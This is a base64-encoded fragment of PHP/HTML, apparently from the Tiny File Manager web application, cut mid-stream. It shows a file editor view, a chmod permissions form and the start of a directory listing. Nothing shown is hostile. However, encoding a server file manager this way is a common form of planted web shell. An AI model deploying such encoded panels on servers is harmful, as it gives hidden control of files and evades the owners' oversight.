pOwogICAgJGlzX3RleHQgPSBmYWxzZTsKICAgICRjb250ZW50ID0gJyc7IC8vIGZvciB0ZXh0CgogICAgaWYgKGluX2FycmF5KCRleHQsIGZtX2dldF90ZXh0X2V4dHMoKSkgfHwgc3Vic3RyKCRtaW1lX3R5cGUsIDAsIDQpID09ICd0ZXh0JyB8fCBpbl9hcnJheSgkbWltZV90eXBlLCBmbV9nZXRfdGV4dF9taW1lcygpKSkgewogICAgICAgICRpc190ZXh0ID0gdHJ1ZTsKICAgICAgICAkY29udGVudCA9IGZpbGVfZ2V0X2NvbnRlbnRzKCRmaWxlX3BhdGgpOwogICAgfQoKPz4KICAgIDxkaXYgY2xhc3M9InBhdGgiPgogICAgICAgIDxkaXYgY2xhc3M9InJvdyI+CiAgICAgICAgICAgIDxkaXYgY2xhc3M9ImNvbC14cy0xMiBjb2wtc20tNSBjb2wtbGctNiBwdC0xIj4KICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9ImJ0bi10b29sYmFyIiByb2xlPSJ0b29sYmFyIj4KICAgICAgICAgICAgICAgICAgICA8P3BocCBpZiAoISRpc05vcm1hbEVkaXRvcikgeyA/PgogICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJidG4tZ3JvdXAganMtYWNlLXRvb2xiYXIiPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPGJ1dHRvbiBkYXRhLWNtZD0ibm9uZSIgZGF0YS1vcHRpb249ImZ1bGxzY3JlZW4iIGNsYXNzPSJidG4gYnRuLXNtIGJ0bi1vdXRsaW5lLXNlY29uZGFyeSIgaWQ9ImpzLWFjZS1mdWxsc2NyZWVuIiB0aXRsZT0iPD9waHAgZWNobyBsbmcoJ0Z1bGxzY3JlZW4nKSA/PiI+PGkgY2xhc3M9ImZhIGZhLWV4cGFuZCIgdGl0bGU9Ijw/cGhwIGVjaG8gbG5nKCdGdWxsc2NyZWVuJykgPz4iPjwvaT48L2J1dHRvbj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxidXR0b24gZGF0YS1jbWQ9ImZpbmQiIGNsYXNzPSJidG4gYnRuLXNtIGJ0bi1vdXRsaW5lLXNlY29uZGFyeSIgaWQ9ImpzLWFjZS1zZWFyY2giIHRpdGxlPSI8P3BocCBlY2hvIGxuZygnU2VhcmNoJykgPz4iPjxpIGNsYXNzPSJmYSBmYS1zZWFyY2giIHRpdGxlPSI8P3BocCBlY2hvIGxuZygnU2VhcmNoJykgPz4iPjwvaT48L2J1dHRvbj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxidXR0b24gZGF0YS1jbWQ9InVuZG8iIGNsYXNzPSJidG4gYnRuLXNtIGJ0bi1vdXRsaW5lLXNlY29uZGFyeSIgaWQ9ImpzLWFjZS11bmRvIiB0aXRsZT0iPD9waHAgZWNobyBsbmcoJ1VuZG8nKSA/PiI+PGkgY2xhc3M9ImZhIGZhLXVuZG8iIHRpdGxlPSI8P3BocCBlY2hvIGxuZygnVW5kbycpID8+Ij48L2k+PC9idXR0b24+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8YnV0dG9uIGRhdGEtY21kPSJyZWRvIiBjbGFzcz0iYnRuIGJ0bi1zbSBidG4tb3V0bGluZS1zZWNvbmRhcnkiIGlkPSJqcy1hY2UtcmVkbyIgdGl0bGU9Ijw/cGhwIGVjaG8gbG5nKCdSZWRvJykgPz4iPjxpIGNsYXNzPSJmYSBmYS1yZXBlYXQiIHRpdGxlPSI8P3BocCBlY2hvIGxuZygnUmVkbycpID8+Ij48L2k+PC9idXR0b24+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8YnV0dG9uIGRhdGEtY21kPSJub25lIiBkYXRhLW9wdGlvbj0id3JhcCIgY2xhc3M9ImJ0biBidG4tc20gYnRuLW91dGxpbmUtc2Vjb25kYXJ5IiBpZD0ianMtYWNlLXdvcmRXcmFwIiB0aXRsZT0iPD9waHAgZWNobyBsbmcoJ1dvcmQgV3JhcCcpID8+Ij48aSBjbGFzcz0iZmEgZmEtdGV4dC13aWR0aCIgdGl0bGU9Ijw/cGhwIGVjaG8gbG5nKCdXb3JkIFdyYXAnKSA/PiI+PC9pPjwvYnV0dG9uPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPHNlbGVjdCBpZD0ianMtYWNlLW1vZGUiIGRhdGEtdHlwZT0ibW9kZSIgdGl0bGU9Ijw/cGhwIGVjaG8gbG5nKCdTZWxlY3QgRG9jdW1lbnQgVHlwZScpID8+IiBjbGFzcz0iYnRuLW91dGxpbmUtc2Vjb25kYXJ5IGJvcmRlci1zdGFydC0wIGQtbm9uZSBkLW1kLWJsb2NrIj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8b3B0aW9uPi0tIDw/cGhwIGVjaG8gbG5nKCdTZWxlY3QgTW9kZScpID8+IC0tPC9vcHRpb24+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L3NlbGVjdD4KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxzZWxlY3QgaWQ9ImpzLWFjZS10aGVtZSIgZGF0YS10eXBlPSJ0aGVtZSIgdGl0bGU9Ijw/cGhwIGVjaG8gbG5nKCdTZWxlY3QgVGhlbWUnKSA/PiIgY2xhc3M9ImJ0bi1vdXRsaW5lLXNlY29uZGFyeSBib3JkZXItc3RhcnQtMCBkLW5vbmUgZC1sZy1ibG9jayI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPG9wdGlvbj4tLSA8P3BocCBlY2hvIGxuZygnU2VsZWN0IFRoZW1lJykgPz4gLS08L29wdGlvbj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvc2VsZWN0PgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPHNlbGVjdCBpZD0ianMtYWNlLWZvbnRTaXplIiBkYXRhLXR5cGU9ImZvbnRTaXplIiB0aXRsZT0iPD9waHAgZWNobyBsbmcoJ1NlbGVjdCBGb250IFNpemUnKSA/PiIgY2xhc3M9ImJ0bi1vdXRsaW5lLXNlY29uZGFyeSBib3JkZXItc3RhcnQtMCBkLW5vbmUgZC1sZy1ibG9jayI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPG9wdGlvbj4tLSA8P3BocCBlY2hvIGxuZygnU2VsZWN0IEZvbnQgU2l6ZScpID8+IC0tPC9vcHRpb24+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L3NlbGVjdD4KICAgICAgICAgICAgICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgICAgICAgICAgICAgPD9waHAgfSA/PgogICAgICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICA8ZGl2IGNsYXNzPSJlZGl0LWZpbGUtYWN0aW9ucyBjb2wteHMtMTIgY29sLXNtLTcgY29sLWxnLTYgdGV4dC1lbmQgcHQtMSI+CiAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJidG4tZ3JvdXAiPgogICAgICAgICAgICAgICAgICAgIDxhIHRpdGxlPSIgPD9waHAgZWNobyBsbmcoJ0JhY2snKSA/PiIgY2xhc3M9ImJ0biBidG4tc20gYnRuLW91dGxpbmUtcHJpbWFyeSIgaHJlZj0iP3A9PD9waHAgZWNobyB1cmxlbmNvZGUodHJpbShGTV9QQVRIKSkgPz4mYW1wO3ZpZXc9PD9waHAgZWNobyB1cmxlbmNvZGUoJGZpbGUpID8+Ij48aSBjbGFzcz0iZmEgZmEtcmVwbHktYWxsIj48L2k+IDw/cGhwIGVjaG8gbG5nKCdCYWNrJykgPz48L2E+CiAgICAgICAgICAgICAgICAgICAgPGEgdGl0bGU9Ijw/cGhwIGVjaG8gbG5nKCdCYWNrVXAnKSA/PiIgY2xhc3M9ImJ0biBidG4tc20gYnRuLW91dGxpbmUtcHJpbWFyeSIgaHJlZj0iamF2YXNjcmlwdDp2b2lkKDApOyIgb25jbGljaz0iYmFja3VwKCc8P3BocCBlY2hvIHVybGVuY29kZSh0cmltKEZNX1BBVEgpKSA/PicsJzw/cGhwIGVjaG8gdXJsZW5jb2RlKCRmaWxlKSA/PicpIj48aSBjbGFzcz0iZmEgZmEtZGF0YWJhc2UiPjwvaT4gPD9waHAgZWNobyBsbmcoJ0JhY2tVcCcpID8+PC9hPgogICAgICAgICAgICAgICAgICAgIDw/cGhwIGlmICgkaXNfdGV4dCkgeyA/PgogICAgICAgICAgICAgICAgICAgICAgICA8P3BocCBpZiAoJGlzTm9ybWFsRWRpdG9yKSB7ID8+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8YSB0aXRsZT0iQWR2YW5jZWQiIGNsYXNzPSJidG4gYnRuLXNtIGJ0bi1vdXRsaW5lLXByaW1hcnkiIGhyZWY9Ij9wPTw/cGhwIGVjaG8gdXJsZW5jb2RlKHRyaW0oRk1fUEFUSCkpID8+JmFtcDtlZGl0PTw/cGhwIGVjaG8gdXJsZW5jb2RlKCRmaWxlKSA/PiZhbXA7ZW52PWFjZSI+PGkgY2xhc3M9ImZhIGZhLXBlbmNpbC1zcXVhcmUtbyI+PC9pPiA8P3BocCBlY2hvIGxuZygnQWR2YW5jZWRFZGl0b3InKSA/PjwvYT4KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxidXR0b24gdHlwZT0iYnV0dG9uIiBjbGFzcz0iYnRuIGJ0bi1zbSBidG4tc3VjY2VzcyIgbmFtZT0iU2F2ZSIgZGF0YS11cmw9Ijw/cGhwIGVjaG8gZm1fZW5jKCRmaWxlX3VybCkgPz4iIG9uY2xpY2s9ImVkaXRfc2F2ZSh0aGlzLCducmwnKSI+PGkgY2xhc3M9ImZhIGZhLWZsb3BweS1vIj48L2k+IFNhdmUKICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvYnV0dG9uPgogICAgICAgICAgICAgICAgICAgICAgICA8P3BocCB9IGVsc2UgeyA/PgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPGEgdGl0bGU9IlBsYWluIEVkaXRvciIgY2xhc3M9ImJ0biBidG4tc20gYnRuLW91dGxpbmUtcHJpbWFyeSIgaHJlZj0iP3A9PD9waHAgZWNobyB1cmxlbmNvZGUodHJpbShGTV9QQVRIKSkgPz4mYW1wO2VkaXQ9PD9waHAgZWNobyB1cmxlbmNvZGUoJGZpbGUpID8+Ij48aSBjbGFzcz0iZmEgZmEtdGV4dC1oZWlnaHQiPjwvaT4gPD9waHAgZWNobyBsbmcoJ05vcm1hbEVkaXRvcicpID8+PC9hPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPGJ1dHRvbiB0eXBlPSJidXR0b24iIGNsYXNzPSJidG4gYnRuLXNtIGJ0bi1zdWNjZXNzIiBuYW1lPSJTYXZlIiBkYXRhLXVybD0iPD9waHAgZWNobyBmbV9lbmMoJGZpbGVfdXJsKSA/PiIgb25jbGljaz0iZWRpdF9zYXZlKHRoaXMsJ2FjZScpIj48aSBjbGFzcz0iZmEgZmEtZmxvcHB5LW8iPjwvaT4gPD9waHAgZWNobyBsbmcoJ1NhdmUnKSA/PgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9idXR0b24+CiAgICAgICAgICAgICAgICAgICAgICAgIDw/cGhwIH0gPz4KICAgICAgICAgICAgICAgICAgICA8P3BocCB9ID8+CiAgICAgICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgPC9kaXY+CiAgICAgICAgPD9waHAKICAgICAgICBpZiAoJGlzX3RleHQgJiYgJGlzTm9ybWFsRWRpdG9yKSB7CiAgICAgICAgICAgIGVjaG8gJzx0ZXh0YXJlYSBjbGFzcz0ibXQtMiIgaWQ9Im5vcm1hbC1lZGl0b3IiIHJvd3M9IjMzIiBjb2xzPSIxMjAiIHN0eWxlPSJ3aWR0aDogOTkuNSU7Ij4nIC4gaHRtbHNwZWNpYWxjaGFycygkY29udGVudCkgLiAnPC90ZXh0YXJlYT4nOwogICAgICAgICAgICBlY2hvICc8c2NyaXB0PmRvY3VtZW50LmFkZEV2ZW50TGlzdGVuZXIoImtleWRvd24iLCBmdW5jdGlvbihlKSB7aWYgKCh3aW5kb3cubmF2aWdhdG9yLnBsYXRmb3JtLm1hdGNoKCJNYWMiKSA/IGUubWV0YUtleSA6IGUuY3RybEtleSkgICYmIGUua2V5Q29kZSA9PSA4MykgeyBlLnByZXZlbnREZWZhdWx0KCk7ZWRpdF9zYXZlKHRoaXMsIm5ybCIpO319LCBmYWxzZSk7PC9zY3JpcHQ+JzsKICAgICAgICB9IGVsc2VpZiAoJGlzX3RleHQpIHsKICAgICAgICAgICAgZWNobyAnPGRpdiBpZD0iZWRpdG9yIiBjb250ZW50ZWRpdGFibGU9InRydWUiPicgLiBodG1sc3BlY2lhbGNoYXJzKCRjb250ZW50KSAuICc8L2Rpdj4nOwogICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgIGZtX3NldF9tc2cobG5nKCdGSUxFIEVYVEVOU0lPTiBJUyBOT1QgU1VQUE9SVEVEJyksICdlcnJvcicpOwogICAgICAgIH0KICAgICAgICA/PgogICAgPC9kaXY+Cjw/cGhwCiAgICBmbV9zaG93X2Zvb3RlcigpOwogICAgZXhpdDsKfQoKLy8gY2htb2QgKG5vdCBmb3IgV2luZG93cykKaWYgKGlzc2V0KCRfR0VUWydjaG1vZCddKSAmJiAhRk1fUkVBRE9OTFkgJiYgIUZNX0lTX1dJTikgewogICAgJGZpbGUgPSAkX0dFVFsnY2htb2QnXTsKICAgICRmaWxlID0gZm1fY2xlYW5fcGF0aCgkZmlsZSk7CiAgICAkZmlsZSA9IHN0cl9yZXBsYWNlKCcvJywgJycsICRmaWxlKTsKICAgIGlmICgkZmlsZSA9PSAnJyB8fCAoIWlzX2ZpbGUoJHBhdGggLiAnLycgLiAkZmlsZSkgJiYgIWlzX2RpcigkcGF0aCAuICcvJyAuICRmaWxlKSkpIHsKICAgICAgICBmbV9zZXRfbXNnKGxuZygnRmlsZSBub3QgZm91bmQnKSwgJ2Vycm9yJyk7CiAgICAgICAgJEZNX1BBVEggPSBGTV9QQVRIOwogICAgICAgIGZtX3JlZGlyZWN0KEZNX1NFTEZfVVJMIC4gJz9wPScgLiB1cmxlbmNvZGUoJEZNX1BBVEgpKTsKICAgIH0KCiAgICBmbV9zaG93X2hlYWRlcigpOyAvLyBIRUFERVIKICAgIGZtX3Nob3dfbmF2X3BhdGgoRk1fUEFUSCk7IC8vIGN1cnJlbnQgcGF0aAoKICAgICRmaWxlX3VybCA9IEZNX1JPT1RfVVJMIC4gKEZNX1BBVEggIT0gJycgPyAnLycgLiBGTV9QQVRIIDogJycpIC4gJy8nIC4gJGZpbGU7CiAgICAkZmlsZV9wYXRoID0gJHBhdGggLiAnLycgLiAkZmlsZTsKCiAgICAkbW9kZSA9IGZpbGVwZXJtcygkcGF0aCAuICcvJyAuICRmaWxlKTsKPz4KICAgIDxkaXYgY2xhc3M9InBhdGgiPgogICAgICAgIDxkaXYgY2xhc3M9ImNhcmQgbWItMiIgZGF0YS1icy10aGVtZT0iPD9waHAgZWNobyBGTV9USEVNRTsgPz4iPgogICAgICAgICAgICA8aDYgY2xhc3M9ImNhcmQtaGVhZGVyIj4KICAgICAgICAgICAgICAgIDw/cGhwIGVjaG8gbG5nKCdDaGFuZ2VQZXJtaXNzaW9ucycpID8+CiAgICAgICAgICAgIDwvaDY+CiAgICAgICAgICAgIDxkaXYgY2xhc3M9ImNhcmQtYm9keSI+CiAgICAgICAgICAgICAgICA8cCBjbGFzcz0iY2FyZC10ZXh0Ij4KICAgICAgICAgICAgICAgICAgICA8P3BocCAkZGlzcGxheV9wYXRoID0gZm1fZ2V0X2Rpc3BsYXlfcGF0aCgkZmlsZV9wYXRoKTsgPz4KICAgICAgICAgICAgICAgICAgICA8P3BocCBlY2hvICRkaXNwbGF5X3BhdGhbJ2xhYmVsJ107ID8+OiA8P3BocCBlY2hvICRkaXNwbGF5X3BhdGhbJ3BhdGgnXTsgPz48YnI+CiAgICAgICAgICAgICAgICA8L3A+CiAgICAgICAgICAgICAgICA8Zm9ybSBhY3Rpb249IiIgbWV0aG9kPSJwb3N0Ij4KICAgICAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJwIiB2YWx1ZT0iPD9waHAgZWNobyBmbV9lbmMoRk1fUEFUSCkgPz4iPgogICAgICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImNobW9kIiB2YWx1ZT0iPD9waHAgZWNobyBmbV9lbmMoJGZpbGUpID8+Ij4KCiAgICAgICAgICAgICAgICAgICAgPHRhYmxlIGNsYXNzPSJ0YWJsZSBjb21wYWN0LXRhYmxlIiBkYXRhLWJzLXRoZW1lPSI8P3BocCBlY2hvIEZNX1RIRU1FOyA/PiI+CiAgICAgICAgICAgICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZD48L3RkPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRkPjxiPjw/cGhwIGVjaG8gbG5nKCdPd25lcicpID8+PC9iPjwvdGQ+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQ+PGI+PD9waHAgZWNobyBsbmcoJ0dyb3VwJykgPz48L2I+PC90ZD4KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZD48Yj48P3BocCBlY2hvIGxuZygnT3RoZXInKSA/PjwvYj48L3RkPgogICAgICAgICAgICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQgc3R5bGU9InRleHQtYWxpZ246IHJpZ2h0Ij48Yj48P3BocCBlY2hvIGxuZygnUmVhZCcpID8+PC9iPjwvdGQ+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQ+PGxhYmVsPjxpbnB1dCB0eXBlPSJjaGVja2JveCIgbmFtZT0idXIiIHZhbHVlPSIxIiA8P3BocCBlY2hvICgkbW9kZSAmIDAwNDAwKSA/ICcgY2hlY2tlZCcgOiAnJyA/Pj48L2xhYmVsPjwvdGQ+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQ+PGxhYmVsPjxpbnB1dCB0eXBlPSJjaGVja2JveCIgbmFtZT0iZ3IiIHZhbHVlPSIxIiA8P3BocCBlY2hvICgkbW9kZSAmIDAwMDQwKSA/ICcgY2hlY2tlZCcgOiAnJyA/Pj48L2xhYmVsPjwvdGQ+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQ+PGxhYmVsPjxpbnB1dCB0eXBlPSJjaGVja2JveCIgbmFtZT0ib3IiIHZhbHVlPSIxIiA8P3BocCBlY2hvICgkbW9kZSAmIDAwMDA0KSA/ICcgY2hlY2tlZCcgOiAnJyA/Pj48L2xhYmVsPjwvdGQ+CiAgICAgICAgICAgICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZCBzdHlsZT0idGV4dC1hbGlnbjogcmlnaHQiPjxiPjw/cGhwIGVjaG8gbG5nKCdXcml0ZScpID8+PC9iPjwvdGQ+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQ+PGxhYmVsPjxpbnB1dCB0eXBlPSJjaGVja2JveCIgbmFtZT0idXciIHZhbHVlPSIxIiA8P3BocCBlY2hvICgkbW9kZSAmIDAwMjAwKSA/ICcgY2hlY2tlZCcgOiAnJyA/Pj48L2xhYmVsPjwvdGQ+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQ+PGxhYmVsPjxpbnB1dCB0eXBlPSJjaGVja2JveCIgbmFtZT0iZ3ciIHZhbHVlPSIxIiA8P3BocCBlY2hvICgkbW9kZSAmIDAwMDIwKSA/ICcgY2hlY2tlZCcgOiAnJyA/Pj48L2xhYmVsPjwvdGQ+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQ+PGxhYmVsPjxpbnB1dCB0eXBlPSJjaGVja2JveCIgbmFtZT0ib3ciIHZhbHVlPSIxIiA8P3BocCBlY2hvICgkbW9kZSAmIDAwMDAyKSA/ICcgY2hlY2tlZCcgOiAnJyA/Pj48L2xhYmVsPjwvdGQ+CiAgICAgICAgICAgICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZCBzdHlsZT0idGV4dC1hbGlnbjogcmlnaHQiPjxiPjw/cGhwIGVjaG8gbG5nKCdFeGVjdXRlJykgPz48L2I+PC90ZD4KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZD48bGFiZWw+PGlucHV0IHR5cGU9ImNoZWNrYm94IiBuYW1lPSJ1eCIgdmFsdWU9IjEiIDw/cGhwIGVjaG8gKCRtb2RlICYgMDAxMDApID8gJyBjaGVja2VkJyA6ICcnID8+PjwvbGFiZWw+PC90ZD4KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZD48bGFiZWw+PGlucHV0IHR5cGU9ImNoZWNrYm94IiBuYW1lPSJneCIgdmFsdWU9IjEiIDw/cGhwIGVjaG8gKCRtb2RlICYgMDAwMTApID8gJyBjaGVja2VkJyA6ICcnID8+PjwvbGFiZWw+PC90ZD4KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZD48bGFiZWw+PGlucHV0IHR5cGU9ImNoZWNrYm94IiBuYW1lPSJveCIgdmFsdWU9IjEiIDw/cGhwIGVjaG8gKCRtb2RlICYgMDAwMDEpID8gJyBjaGVja2VkJyA6ICcnID8+PjwvbGFiZWw+PC90ZD4KICAgICAgICAgICAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICAgICAgICA8L3RhYmxlPgoKICAgICAgICAgICAgICAgICAgICA8cD4KICAgICAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0idG9rZW4iIHZhbHVlPSI8P3BocCBlY2hvICRfU0VTU0lPTlsndG9rZW4nXTsgPz4iPgogICAgICAgICAgICAgICAgICAgICAgICA8Yj48YSBocmVmPSI/cD08P3BocCBlY2hvIHVybGVuY29kZShGTV9QQVRIKSA/PiIgY2xhc3M9ImJ0biBidG4tb3V0bGluZS1wcmltYXJ5Ij48aSBjbGFzcz0iZmEgZmEtdGltZXMtY2lyY2xlIj48L2k+IDw/cGhwIGVjaG8gbG5nKCdDYW5jZWwnKSA/PjwvYT48L2I+Jm5ic3A7CiAgICAgICAgICAgICAgICAgICAgICAgIDxidXR0b24gdHlwZT0ic3VibWl0IiBjbGFzcz0iYnRuIGJ0bi1zdWNjZXNzIj48aSBjbGFzcz0iZmEgZmEtY2hlY2stY2lyY2xlIj48L2k+IDw/cGhwIGVjaG8gbG5nKCdDaGFuZ2UnKSA/PjwvYnV0dG9uPgogICAgICAgICAgICAgICAgICAgIDwvcD4KICAgICAgICAgICAgICAgIDwvZm9ybT4KICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgPC9kaXY+CiAgICA8L2Rpdj4KPD9waHAKICAgIGZtX3Nob3dfZm9vdGVyKCk7CiAgICBleGl0Owp9CgovLyAtLS0gVElOWUZJTEVNQU5BR0VSIE1BSU4gLS0tCmZtX3Nob3dfaGVhZGVyKCk7IC8vIEhFQURFUgpmbV9zaG93X25hdl9wYXRoKEZNX1BBVEgpOyAvLyBjdXJyZW50IHBhdGgKCi8vIHNob3cgYWxlcnQgbWVzc2FnZXMKZm1fc2hvd19tZXNzYWdlKCk7CgokbnVtX2ZpbGVzID0gY291bnQoJGZpbGVzKTsKJG51bV9mb2xkZXJzID0gY291bnQoJGZvbGRlcnMpOwokYWxsX2ZpbGVzX3NpemUgPSAwOwo/Pgo8Zm9ybSBhY3Rpb249IiIgbWV0aG9kPSJwb3N0IiBjbGFzcz0icHQtMyI+CiAgICA8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJwIiB2YWx1ZT0iPD9waHAgZWNobyBmbV9lbmMoRk1fUEFUSCkgPz4iPgogICAgPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iZ3JvdXAiIHZhbHVlPSIxIj4KICAgIDxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InRva2VuIiB2YWx1ZT0iPD9waHAgZWNobyAkX1NFU1NJT05bJ3Rva2VuJ107ID8+Ij4KICAgIDxkaXYgY2xhc3M9InRhYmxlLXJlc3BvbnNpdmUiPgogICAgICAgIDx0YWJsZSBjbGFzcz0idGFibGUgdGFibGUtYm9yZGVyZWQgdGFibGUtaG92ZXIgdGFibGUtc20iIGlkPSJtYWluLXRhYmxlIiBkYXRhLWJzLXRoZW1lPSI8P3BocCBlY2hvIEZNX1RIRU1FOyA/PiI+CiAgICAgICAgICAgIDx0aGVhZCBjbGFzcz0idGhlYWQtd2hpdGUiPgogICAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgICAgIDw/cGhwIGlmICghRk1fUkVBRE9OTFkpOiA/PgogICAgICAgICAgICAgICAgICAgICAgICA8dGggc3R5bGU9IndpZHRoOjMlIiBjbGFzcz0iY3VzdG9tLWNoZWNrYm94LWhlYWRlciI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJjdXN0b20tY29udHJvbCBjdXN0b20tY2hlY2tib3giPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPSJjaGVja2JveCIgY2xhc3M9ImN1c3RvbS1jb250cm9sLWlucHV0IiBpZD0ianMtc2VsZWN0LWFsbC1pdGVtcyIgb25jbGljaz0iY2hlY2tib3hfdG9nZ2xlKCkiPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxsYWJlbCBjbGFzcz0iY3VzdG9tLWNvbnRyb2wtbGFiZWwiIGZvcj0ianMtc2VsZWN0LWFsbC1pdGVtcyI+PC9sYWJlbD4KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICAgICAgICAgICAgICA8L3RoPjw/cGhwIGVuZGlmOyA/PgogICAgICAgICAgICAgICAgICAgIDx0aD48P3BocCBlY2hvIGxuZygnTmFtZScpID8+PC90aD4KICAgICAgICAgICAgICAgICAgICA8dGg+PD9waHAgZWNobyBsbmcoJ1NpemUnKSA/PjwvdGg+CiAgICAgICAgICAgICAgICAgICAgPHRoPjw/cGhwIGVjaG8gbG5nKCdNb2RpZmllZCcpID8+PC90aD4KICAgICAgICAgICAgICAgICAgICA8P3BocCBpZiAoIUZNX0lTX1dJTiAmJiAhJGhpZGVfQ29scyk6ID8+CiAgICAgICAgICAgICAgICAgICAgICAgIDx0aD48P3BocCBlY2hvIGxuZygnUGVybXMnKSA/PjwvdGg+CiAgICAgICAgICAgICAgICAgICAgICAgIDx0aD48P3BocCBlY2hvIGxuZygnT3duZXInKSA/PjwvdGg+PD9waHAgZW5kaWY7ID8+CiAgICAgICAgICAgICAgICAgICAgPHRoPjw/cGhwIGVjaG8gbG5nKCdBY3Rpb25zJykgPz48L3RoPgogICAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgPC90aGVhZD4KICAgICAgICAgICAgPD9waHAKICAgICAgICAgICAgLy8gbGluayB0byBwYXJlbnQgZm9sZGVyCiAgICAgICAgICAgIGlmICgkcGFyZW50ICE9PSBmYWxzZSkgewogICAgICAgICAgICA/PgogICAgICAgICAgICAgICAgPHRyPjw/cGhwIGlmICghRk1fUkVBRE9OTFkpOiA/PgogICAgICAgICAgICAgICAgICAgICAgICA8dGQgY2xhc3M9Im5vc29ydCI+PC90ZD48P3BocCBlbmRpZjsgPz4KICAgICAgICAgICAgICAgICAgICA8dGQgY2xhc3M9ImJvcmRlci0wIiBkYXRhLXNvcnQ+PGEgaHJlZj0iP3A9PD9waHAgZWNobyB1cmxlbmNvZGUoJHBhcmVudCkgPz4iPjxpIGNsYXNzPSJmYSBmYS1jaGV2cm9uLWNpcmNsZS1sZWZ0IGdvLWJhY2siPjwvaT4gLi48L2E+PC90ZD4KICAgICAgICAgICAgICAgICAgICA8dGQgY2xhc3M9ImJvcmRlci0wIiBkYXRhLW9yZGVyPjwvdGQ+CiAgICAgICAgICAgICAgICAgICAgPHRkIGNsYXNzPSJib3JkZXItMCIgZGF0YS1vcmRlcj48L3RkPgogICAgICAgICAgICAgICAgICAgIDx0ZCBjbGFzcz0iYm9yZGVyLTAiPjwvdGQ+CiAgICAgICAgICAgICAgICAgICAgPD9waHAgaWYgKCFGTV9JU19XSU4gJiYgISRoaWRlX0NvbHMpIHsgPz4KICAgICAgICAgICAgICAgICAgICAgICAgPHRkIGNsYXNzPSJib3JkZXItMCI+PC90ZD4KICAgICAgICAgICAgICAgICAgICAgICAgPHRkIGNsYXNzPSJib3JkZXItMCI+PC90ZD4KICAgICAgICAgICAgICAgICAgICA8P3BocCB9ID8+CiAgICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICA8P3BocAogICAgICAgICAgICB9CiAgICAgICAgICAgICRpaSA9IDMzOTk7CiAgICAgICAgICAgIGZvcmVhY2ggKCRmb2xkZXJzIGFzICRmKSB7CiAgICAgICAgICAgICAgICAkaXNfbGluayA9IGlzX2xpbmsoJHBhdGggLiAnLycgLiAkZik7CiAgICAgICAgICAgICAgICAkaW1nID0gJGlzX2xpbmsgPyAnaWNvbi1saW5rX2ZvbGRlcicgOiAnZmEgZmEtZm9sZGVyLW8nOwogICAgICAgICAgICAgICAgJG1vZGlmX3JhdyA9IGZpbGVtdGltZSgkcGF0aCAuICcvJyAuICRmK